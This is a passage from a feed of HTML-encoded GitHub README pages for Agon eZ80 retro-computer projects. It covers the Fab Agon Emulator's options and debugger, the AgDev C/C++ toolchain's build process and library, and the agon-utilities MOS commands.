&lt;li&gt;RightCtrl-S - Cycle screen scaling methods (see --scale command line option)&lt;/li&gt;
&lt;li&gt;RightCtrl-Q - Quit&lt;/li&gt;
&lt;li&gt;RightCtrl-1 - Show VDP video output&lt;/li&gt;
&lt;li&gt;RightCtrl-2 - Show GPIO video output if available, or VDP output otherwise&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;Emulated SDCard&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;If a directory is specified with &lt;code&gt;fab-agon-emulator --sdcard &amp;lt;dir&amp;gt;&lt;/code&gt; then that will
be used as the emulated SDCard. Otherwise, the &lt;code&gt;.agon-sdcard/&lt;/code&gt; directory in your
home directory will be used if present, and if not then &lt;code&gt;sdcard/&lt;/code&gt; in the current
directory is used.&lt;/p&gt;&lt;p&gt;Alternatively you can use SDCard images (full MBR partitioned images, or raw
FAT32 images), with the --sdcard-img option.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Changing VDP version&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;By default, Fab Agon Emulator boots with Console8 firmware. To start up
with quark firmware, run:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;fab-agon-emulator --firmware quark&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Electron firmware:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;fab-agon-emulator --firmware electron&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Framebuffer Agon firmware:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;fab-agon-emulator --firmware fb&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;The Z80 debugger&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Start the emulator with the &lt;code&gt;-d&lt;/code&gt; or &lt;code&gt;--debugger&lt;/code&gt; option to enable the Z80
debugger:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;fab-agon-emulator -d&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At the debugger prompt (which will be in the terminal window you invoked the
emulator from), type &lt;code&gt;help&lt;/code&gt; for instructions on the use of the debugger.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Debug IO space&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Some IO addresses unused by the EZ80F92 are used by the emulator for debugging
purposes:&lt;/p&gt;&lt;p&gt;These functions are activated by write (not read), and the upper 8-bits of the
IO address are ignored. ie:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;out (0),a&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;will shut down the emulator.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Other command-line options&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Read about other command-line options with:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;fab-agon-emulator --help&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Mac-specific issues&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;The Fab Agon Emulator executables provided on &lt;a href=&quot;https://github.com/tomm/fab-agon-emulator/releases&quot;&gt;releases&lt;/a&gt;
are not signed, so in order to run them on your Mac you need to run the following command from
the directory containing the fab-agon-emulator executable:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;xattr -dr com.apple.quarantine fab-agon-emulator firmware/*.so&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
</item>
<item>
<title>GitHub - pcawte/AgDev: Port to Agon Light of TI-84-CE C/C++ Toolchain which uses LLVM and generates eZ80 ADL code · GitHub</title>
<link>https://github.com/pcawte/AgDev</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/cb84d4524c64c6367af2effbbfdf088367a18294a47f75c5917c4acd5bb79b48/pcawte/AgDev"></enclosure>
<guid isPermaLink="false">opuKU5JlWdfRAOKn37EHJPkEu_HtaIgBHDzuBw==</guid>
<pubDate>Wed, 27 May 2026 18:54:07 +0000</pubDate>
<description>Port to Agon Light of TI-84-CE C/C++ Toolchain which uses LLVM and generates eZ80 ADL code - pcawte/AgDev</description>
<content:encoded>&lt;div&gt;&lt;h1&gt;AgDev - a port of the CEdev C/C++ Toolchain to the Agon Platform&lt;/h1&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Overview&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;The &lt;a href=&quot;https://agonconsole8.github.io/agon-docs/&quot;&gt;Agon Light&lt;/a&gt; and other Agon Platform revisions are based on the Zilog eZ80 processor. The eZ80 has a 24 bit address space supporting 16 megabytes of memory, compared to the 64 kilobytes of the original Z80. The eZ80 has two modes of operation: the standard Z80 mode, which has 16-bit registers making it easy to address 64k of memory, but requiring the use of &amp;quot;banking&amp;quot; to access more than 64k of memory; and ADL (address data long) mode of operation, which extends the registers to 24 bits, making the whole address space readily accessible.&lt;/p&gt;&lt;p&gt;When we consider high-level programming languages, there are a number available for the Z80, but they are limited to 64k of memory or have awkward bank switching methods to access greater memory.&lt;/p&gt;&lt;p&gt;Considering the C-programming languages, there are a number of Z80 C-compilers available. To date, the Agon community has focused on two:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Zilog ZDS II development environment&lt;/strong&gt; which can produce eZ80 ADL code. This was the original set of tools used by the developers of Agon, but it is closed source, runs on Windows only, and only supports the data C89 standard&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SDCC (small devices C-compiler)&lt;/strong&gt;, a popular choice for 8-bit computers, and adapting this for Agon has been a focus of a number of people in the Agon computer. This is a good compiler for Z80, but it only supports Z80 and not ADL mode.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;As an alternative, the &lt;a href=&quot;https://ce-programming.github.io/toolchain/index.html&quot;&gt;CEdev C/C++ toolchain&lt;/a&gt; is an open-source compiler that can produce ADL code. It targets the TI-84 Plus CE calculator (based on the eZ80 processor) and has a reasonably sized community. CEdev is based on eZ80 versions of the LLVM compiler and fasmg assembler. It produces ADL code with 24 bit pointers, 24 bit integers, 32 bit longs, 16 bit shorts, and 32 bit floats. There is also quite an extensive library for C and C++ programs (though it is not ISO compliant... yet).&lt;/p&gt;&lt;p&gt;AgDev is the result of an effort to modify CEdev to accommodate the feature set and hardware design of the Agon Platform. The result is a more powerful, and C++ capable, toolchain, compared to other options for the Agon.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;Installation&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Download a &lt;a href=&quot;https://github.com/pcawte/agdev/releases/latest&quot;&gt;release build&lt;/a&gt; or &lt;a href=&quot;https://github.com/pcawte/AgDev/blob/main/COMPILE.md&quot;&gt;build from source yourself&lt;/a&gt;. Place the build in a directory of your choosing.&lt;/p&gt;&lt;p&gt;Afterward, make sure the &lt;code&gt;/bin&lt;/code&gt; folder can be found in &lt;code&gt;PATH&lt;/code&gt;; if you&amp;#39;re on Windows, follow &lt;a href=&quot;https://www.architectryan.com/2018/03/17/add-to-the-path-on-windows-10/&quot;&gt;this guide&lt;/a&gt;, or you can run cedev.bat and execute commands from there instead. On Linux, run &lt;code&gt;export PATH=/&amp;lt;insert path here&amp;gt;/bin:$PATH&lt;/code&gt; in a terminal window.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;Building programs&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This follows the same approach as the original CE Toolchain (see bottom of the &lt;a href=&quot;https://ce-programming.github.io/toolchain/static/getting-started.html#building-programs&quot;&gt;CEdev getting started page&lt;/a&gt;). The build process had been modified to stop on the generation of the &lt;code&gt;.bin&lt;/code&gt; file. This is the Agon Light executable.&lt;/p&gt;&lt;p&gt;I recommend to use:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;make clean
make V=1&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;make clean&lt;/code&gt; command can be used to delete the results of previous compilations and thereby force a recompilation.&lt;/p&gt;&lt;p&gt;The build process goes through the following steps:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Compilation of .c source files to LLVM bitcode (.bc) using &lt;code&gt;ez80-clang&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Linking of LLVM bitcode using &lt;code&gt;ez80-link&lt;/code&gt;. This includes link time optimization&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Generation of eZ80 assembly code (.src) for the source programs using &lt;code&gt;ez80-clang&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Assembling and linking of the of the generated assembly code (from step 3) with the libraries and compiler run-time using &lt;code&gt;fasmg&lt;/code&gt; - this includes building the executable targeted at a specific memory location. This is the main part of the build process that needs to be adjusted.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;h2&gt;C Calling Conventions (for interfacing with ASM applications)&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;See Zilog application note &lt;a href=&quot;https://www.zilog.com/docs/appnotes/an0333.pdf&quot;&gt;&amp;quot;Calling C from asm.pdf&amp;quot;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Only IX register and stack need to be preserved by called functions.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;Arguments&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Arguments are pushed from last to first corresponding to the C prototype. In eZ80, 3 bytes are always pushed to the stack regardless of the actual size. However, the assembly function must be careful to only use the valid bytes that are pushed. For example, if a &lt;em&gt;short&lt;/em&gt; type is used, the upper byte of the value pushed on the stack will contain arbitrary data. This table lists the locations relative to &lt;em&gt;sp&lt;/em&gt; from within the called function. Note that &lt;code&gt;sp + [0,2]&lt;/code&gt; contains the return address.&lt;/p&gt;&lt;p&gt;Note that eZ80 is little endian - i.e. the least significant byte is stored first.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;Returns&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This table lists which registers are used for return values from a function. The type’s sign does not affect the registers used, but may affect the value returned. The LSB is located in the register on the far right of the expression, e.g. &lt;code&gt;E:UHL&lt;/code&gt; indicates register &lt;code&gt;L&lt;/code&gt; stores the LSB.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Standard IO Library&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Not ISO compliant!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Consists of the following:&lt;/p&gt;&lt;p&gt;File IO:&lt;/p&gt;&lt;p&gt;Stdin / stdout IO:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;putchar()&lt;/code&gt;, &lt;code&gt;puts()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;getchar()&lt;/code&gt;, &lt;code&gt;gets_s()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Formatted output&lt;/p&gt;&lt;p&gt;Formatted input&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;scanf()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;sscanf()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;There&amp;#39;s some other stuff in here - like &lt;code&gt;stdint&lt;/code&gt; and such - but it should mostly match expectations for the normal standard library. Mostly.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;&lt;code&gt;stdio&lt;/code&gt; Redirection&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Can redirect output by using &lt;code&gt;freopen()&lt;/code&gt; on &lt;code&gt;stdout&lt;/code&gt; or &lt;code&gt;stderr&lt;/code&gt;:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;putchar()&lt;/code&gt; - outputs to &lt;code&gt;outchar()&lt;/code&gt; unless the output is redirected, in which case outputs to &lt;code&gt;fputc()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;puts()&lt;/code&gt; - calls &lt;code&gt;putchar()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;printf()&lt;/code&gt; (and &lt;code&gt;vprintf()&lt;/code&gt;) - calls &lt;code&gt;npf_putc_std()&lt;/code&gt;, which calls &lt;code&gt;putchar()&lt;/code&gt; in &lt;code&gt;nanoprintf.c&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fputc()&lt;/code&gt; - calls &lt;code&gt;mos_fputc()&lt;/code&gt; unless called on &lt;code&gt;stdout&lt;/code&gt; when calls &lt;code&gt;outchar()&lt;/code&gt; - avoids calling &lt;code&gt;putchar()&lt;/code&gt; so that no risk of function call loops&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Can redirect input by using &lt;code&gt;freopen()&lt;/code&gt; on &lt;code&gt;stdin&lt;/code&gt;:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;getchar()&lt;/code&gt; - calls &lt;code&gt;inchar()&lt;/code&gt; to get the character and &lt;code&gt;outchar()&lt;/code&gt; to echo the character (even if the output has been redirected). If output has not been re-directed calls &lt;code&gt;fgetc()&lt;/code&gt; and does not echo the character.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;gets_s()&lt;/code&gt; - calls &lt;code&gt;getchar()&lt;/code&gt; if input has not been redirected (line are terminated with CR). Calls&lt;code&gt;fgets()&lt;/code&gt; of input has been redirected (lines are terminated with CR/LF pair).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;scanf()&lt;/code&gt; - calls &lt;code&gt;getchar()&lt;/code&gt; in &lt;code&gt;uscan.c&lt;/code&gt; (doesn&amp;#39;t need updating)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fgetc()&lt;/code&gt; - calls &lt;code&gt;mos_fgetc()&lt;/code&gt; unless called on stdin when calls &lt;code&gt;inchar()&lt;/code&gt; and echos with &lt;code&gt;outchar()&lt;/code&gt;- avoids calling &lt;code&gt;getchar()&lt;/code&gt;so that no risk of function call loops&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Requires &lt;code&gt;FILE *&lt;/code&gt;, which is a pointer to a file handle returned by &lt;code&gt;fopen&lt;/code&gt; and passed to the file IO routines to indicate the file the action is to be performed upon.&lt;/p&gt;&lt;p&gt;Other related files:&lt;/p&gt;&lt;p&gt;&lt;code&gt;stdio.h&lt;/code&gt; - normal header files, which defines the various functions and the typedef for &lt;code&gt;FILE&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;files.c&lt;/code&gt;- instantiates the storage for files handles including: stdout, stderr, stdin.&lt;/p&gt;&lt;p&gt;The following standard file handles are defined:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;stdout&lt;/code&gt; - default output&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;stderr&lt;/code&gt; - default output for error message&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;stdin&lt;/code&gt; - default input&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;MOS does not implement input / output redirection, so by default these all use the console.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Command Line Processing and Input / Output Redirection&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Two options are available for command line processing.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;Simple Command Line Processing&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;This is automatically included if the main function is defined as&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;int&lt;/span&gt; &lt;span&gt;main&lt;/span&gt;( &lt;span&gt;int&lt;/span&gt; argc, &lt;span&gt;char&lt;/span&gt;* argv[] )&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;the splits the command line up using space as a delimiter. The command line options are available in the &lt;code&gt;argv[]&lt;/code&gt; array as normal.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;Complex Command Line Processing - for Redirection &amp;amp; Quoting&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;This is optionally included if the application makefile includes:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;LDHAS_ARG_PROCESSING&lt;/span&gt; = 1&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This supports&lt;/p&gt;&lt;div&gt;&lt;h2&gt;MOS Commands&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;For current documentation on MOS commands, see the &lt;a href=&quot;https://agonconsole8.github.io/agon-docs/vdp/MOS-API/&quot;&gt;Agon Console8 Documentation&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The MOS (machine operating system) provides an interface to the Agon file system and some hardware peripherals, like the mouse. It keeps information on system variables in a large &lt;code&gt;SYSVAR&lt;/code&gt; struct that can be accessed on the Z80 side. Generally your C code will declare a pointer to this struct, initialized like so:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;static&lt;/span&gt; &lt;span&gt;volatile&lt;/span&gt; SYSVAR* sv; 
sv = vdp_vdu_init();&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For more information see &lt;code&gt;&amp;lt;mos_api.h&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;VDP / VDU Commands&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;For current documentation on VDU commands, see the &lt;a href=&quot;https://agonconsole8.github.io/agon-docs/vdp/VDU-Commands/&quot;&gt;Agon Console8 Documentation&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The VDP (video display processor) accepts a text stream from MOS, acting like a text / graphics terminal. The text stream can contain:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Normal text&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Escape sequences / commands to control the display and send graphics/sound/etc commands&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;When results are returned by MOS as a result of sending a command, these are stored in the &lt;code&gt;SYSVAR&lt;/code&gt;&amp;#39;s and not returned directly in response to the command. The response is asynchronous - to check that a result has been returned:&lt;/p&gt;&lt;p&gt;Commands can be sent by:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;putch()&lt;/code&gt; - single character (this is not part of the C standard library)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mos_puts()&lt;/code&gt; - multi-character string&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Both of these output directly to MOS/VDP - note that they are not part of STDIO library and not subject to CR/LF translation or redirection.&lt;/p&gt;&lt;p&gt;Convenience functions for many VDU commands are supplied in AgDev. For example, to change the screen MODE to 3, the C call &lt;code&gt;vdp_mode(3);&lt;/code&gt; will send &lt;code&gt;22,3&lt;/code&gt; as single bytes to the output, equivalent to &lt;code&gt;putch(22); putch(3);&lt;/code&gt; For a list of these functions see &lt;code&gt;&amp;lt;vdp_vdu.h&amp;gt;&lt;/code&gt;. Additional functions related to keyboard handling are found in &lt;code&gt;&amp;lt;vdp_key.h&amp;gt;&lt;/code&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>GitHub - lennart-benschop/agon-utilities: MOS utilities for Agon: copy, view, editor... · GitHub</title>
<link>https://github.com/lennart-benschop/agon-utilities</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/f592a92cac74774bdc836b95bba7c03563e2bfd3f254bb7efe4f6e48d66d8497/lennart-benschop/agon-utilities"></enclosure>
<guid isPermaLink="false">9CBjEHVv29zmgmPPdcSRnzaYZJwoGOAUhakRfA==</guid>
<pubDate>Wed, 27 May 2026 18:54:07 +0000</pubDate>
<description>MOS utilities for Agon: copy, view, editor... Contribute to lennart-benschop/agon-utilities development by creating an account on GitHub.</description>
<content:encoded>&lt;div&gt;&lt;h1&gt;agon-utilities&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;MOS utilities for Agon: copy, view, editor...&lt;/p&gt;&lt;p&gt;These are small utilities that everybody has taken for granted on UNIX, but even on MS-DOS for a long time. But Agon did not have them until now.
The project will include an editor some day. All are MOS commands, all are written in Assembly language and all run in 24-bit ADL mode.
Parts of the code are based on the repository &lt;a href=&quot;https://github.com/breakintoprogram/agon-projects&quot;&gt;https://github.com/breakintoprogram/agon-projects&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The projects are built with ez80asm
(&lt;a href=&quot;https://github.com/AgonConsole8/agon-ez80asm&quot;&gt;https://github.com/AgonConsole8/agon-ez80asm&lt;/a&gt;) and agondev
(&lt;a href=&quot;https://github.com/AgonConsole8/agondev&quot;&gt;https://github.com/AgonConsole8/agondev&lt;/a&gt;). Under Linux, make sure to have a
driectory containing ez80asm and the binary directory of agondev in your
path and you can just run make to build the utilities.&lt;/p&gt;&lt;p&gt;All pre-assembled and precompiled binaries are also provided. The
&lt;code&gt;loadfont&lt;/code&gt;, &lt;code&gt;recode&lt;/code&gt; and &lt;code&gt;sort&lt;/code&gt; programs, as well as everything
belonging to &lt;code&gt;mc&lt;/code&gt;, must be in the &lt;code&gt;bin&lt;/code&gt; directory and the other
binaries in the &lt;code&gt;mos&lt;/code&gt; directory. Assumed is Agon Console8 MOS-2.23 or
higher and VDP-2.8.0 or higher.&lt;/p&gt;&lt;p&gt;Note: the copy utility has been removed because it is now an internal command in MOS.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;comp&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Once you copied a file, you want to check whether the copied file is an exact copy. The comp utility compares two files. It tells whether they are the same,
at which offset the first difference occurs or whether one file is larger than the other but they are the same up to the length of the smaller file.&lt;/p&gt;&lt;p&gt;Example command line: &lt;code&gt;comp file1.bin file2.bin&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;h3&gt;more&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;The well-known utility from early Unix and also MS-DOS. MOS does not support pipelines, so you cannot pipe the output of the CAT command to it. It can just show
a single file and pauses after a screenful has been shown. It reads the screen width and height, so it works well in all three screen modes.&lt;/p&gt;&lt;p&gt;Example command line: &lt;code&gt;more file.txt&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;h3&gt;memfill&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Can be useful to clean the contents of RAM, so you see immediately which memory areas have been touched by your program. memdump is already there in a different respository.&lt;/p&gt;&lt;p&gt;Example command line: &lt;code&gt;memfill &amp;amp;80000 &amp;amp;10000 &amp;amp;ff&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;h3&gt;font&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;The command can load the character definitions from a file. The file is a 2048-byte binary file that contains the bitmaps for all characters from 0 to 255,
although only chars 32..126 and 128..255 can be used.&lt;/p&gt;&lt;p&gt;Example command: &lt;code&gt;font /fonts/bbcasc-8.bin&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Example command that shows the font just loaded:&lt;/p&gt;&lt;p&gt;&lt;code&gt;font /fonts/latin1-8.bin show&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Three fonts are included:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bbcasc-8.bin&lt;/code&gt; is the binary version of the font loaded on bootup by the vdp-1.02. It was derived from the file &lt;code&gt;agon_font.h&lt;/code&gt;
in the VDP project. It contains only ASCII characters with the pounds sign at position 0x60.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bbclat-8.bin&lt;/code&gt; is the binary version of the font loaded on bootup by the vdp-1.04 or 2.x. It was derived from the file &lt;code&gt;agon_font.h&lt;/code&gt;
in the VDP project. It contains a complete CP-1252 character set.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;latin1-8.bin&lt;/code&gt; is an ISO 8859-1 font (Latin1) that I derived from the following github project. The font provided had
the bytes bit-reversed compared to what we need, so I changed it to the right format. It does not look pretty, but it&amp;#39;s a start.
&lt;a href=&quot;https://github.com/dhepper/font8x8&quot;&gt;https://github.com/dhepper/font8x8&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;You can check out &lt;a href=&quot;https://github.com/epto/epto-fonts&quot;&gt;https://github.com/epto/epto-fonts&lt;/a&gt; The &lt;code&gt;*.font&lt;/code&gt;
files included in the project contain meta-information, but they start
with the bitmap data in a form that the font utility can use.  The 8x8
fonts from this set, you can just load with the font utility. It
ignores the meta data. Some of them are only ASCII, some of them have
code page 437 fonts. This program is superseded by the &lt;code&gt;loadfont&lt;/code&gt; and
&lt;code&gt;fontctl&lt;/code&gt; programs.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;loadfont&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This program uses the new font commands of VDP-2.8.0. It can load raw
binary fonts (like the font program does) and PSF fonts as used by the
Linux console.&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;loadfont 10 Lat15-Fixed16.psf&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The first parameter is a buffer ID, a number in the range
0..65534. Instead we can use the word &lt;code&gt;sys&lt;/code&gt; to select the system
font. The system font can only be loaded with 8x8 characters, while
many font sizes are supported with PSF files. An optional third
parameter on the command line specifies a code page. Currently
supported code pages include windows code pages CP1250 (Middle and
Eastern Europe), CP1251 (Cyrillic), CP1252 (Western Europe), CP1253
(Greek), CP1254 (Turkish), CP1257 (Baltic), all Latin, Greek and
Cyrillic character stes from the ISO-8859 series, DOS CP437, Cyillic
KOI-8R and KOI8-U and macroman (Old Macintosh).&lt;/p&gt;&lt;p&gt;If a PSF font has a Unicode table, it will be used to place the glyphs
of the font at the appropriate code points in the code page.  Instead
of a code page we can specify &lt;code&gt;none&lt;/code&gt; for no translation and &lt;code&gt;upper&lt;/code&gt; to
load the upper 256 characters of a 512-character PSF font. Note that
most PSF fonts with Latin-1 or Windows-1252 support have many of the
non-ASCII characters at different positions, therefore the Unicode
table will be needed.&lt;/p&gt;&lt;p&gt;Example:
&lt;code&gt;loadfont 11 Lat15-terminus20x10.psf cp437&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Usable psf fonts can be found here
&lt;a href=&quot;https://www.zap.org.au/projects/console-fonts-zap/&quot;&gt;https://www.zap.org.au/projects/console-fonts-zap/&lt;/a&gt; and in the
&lt;code&gt;/usr/share/consolefonts&lt;/code&gt; directory of a Linux system (gunzip
compressed psf files first). Also the terminus-fonts package can be
used.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;fontctl&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This program selects a font, previously loaded by the &lt;code&gt;loadfont&lt;/code&gt; command.&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;fontctl 11&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The parameter is a buffer ID, the same as used with &lt;code&gt;loadfont&lt;/code&gt;. The
word &lt;code&gt;sys&lt;/code&gt; can be used instead to select the system font.&lt;/p&gt;&lt;p&gt;A second parameter &lt;code&gt;show&lt;/code&gt; can be used to show all 256 characters of the font.
Instead, &lt;code&gt;clear&lt;/code&gt; can be used to remove the font and its buffer.&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;fontctl 11 show&lt;/code&gt;&lt;/p&gt;&lt;p&gt;selects font 11 and shows it.&lt;/p&gt;&lt;p&gt;&lt;code&gt;fontctl 11 clear&lt;/code&gt;&lt;/p&gt;&lt;p&gt;clears font 11.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;recode&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This program converts text files between Unicode and various code
pages.  Code pages include the same code pages as available for
&lt;code&gt;loadfont&lt;/code&gt;, plus utf8 and utf16. Apart from the text encoding we can
change the end-of-line encoding to CR only (old MAC), LF only (Linux)
or CR-LF (DOS, Windows). Files are updated in-place and the old file
is saved with a &lt;code&gt;.bak&lt;/code&gt; suffix.&lt;/p&gt;&lt;p&gt;Example commands:&lt;/p&gt;&lt;p&gt;&lt;code&gt;recode crlf myfile.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This changes the end-of-line characters to CR-LF without changing the
character encodings.&lt;/p&gt;&lt;p&gt;&lt;code&gt;recode lf cp1252 utf8 foo.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This converts from Windows 1252 to UTF8 and changes the end-of-line
characters to LF only.&lt;/p&gt;&lt;p&gt;&lt;code&gt;recode cp1252 latin9 bar.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This converts a text file from CP1252 to Latin9 (ISO8859-15) without
changing the end-of-line characters.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;cal&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;This is a simple Unix-style calender program. Specify month and year to
